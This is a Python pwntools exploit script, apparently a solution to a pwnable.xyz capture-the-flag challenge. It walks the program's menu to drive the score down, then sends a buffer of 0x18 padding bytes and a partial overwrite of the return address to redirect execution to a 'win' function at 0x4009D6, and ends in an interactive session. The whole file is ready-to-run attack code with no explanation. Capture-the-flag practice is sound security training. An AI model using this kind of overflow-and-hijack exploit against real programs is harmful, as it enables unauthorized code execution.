#!/usr/bin/python
from pwn import *
from time import sleep

context.log_level = "debug"
context.terminal = ['tmux', 'split']
conn = process("./challenge")
conn = remote("svc.pwnable.xyz", 30009)
win_func = 0x00000000004009D6

# set name
print conn.readuntil("Name: ")
conn.write("A" * 0x10)

# decrease score
print conn.readuntil("> ")
conn.writeline("1")
print conn.readuntil("= ")
# Wrong answer
conn.writeline("1213")

print conn.readuntil("> ")
conn.writeline("2")

print conn.readuntil("> ")
conn.writeline("3")

# gdb.attach(conn)
# sleep(3)
conn.write("A" * 0x18 + "\xd6\x09\x40")
conn.writeline("1")

conn.interactive()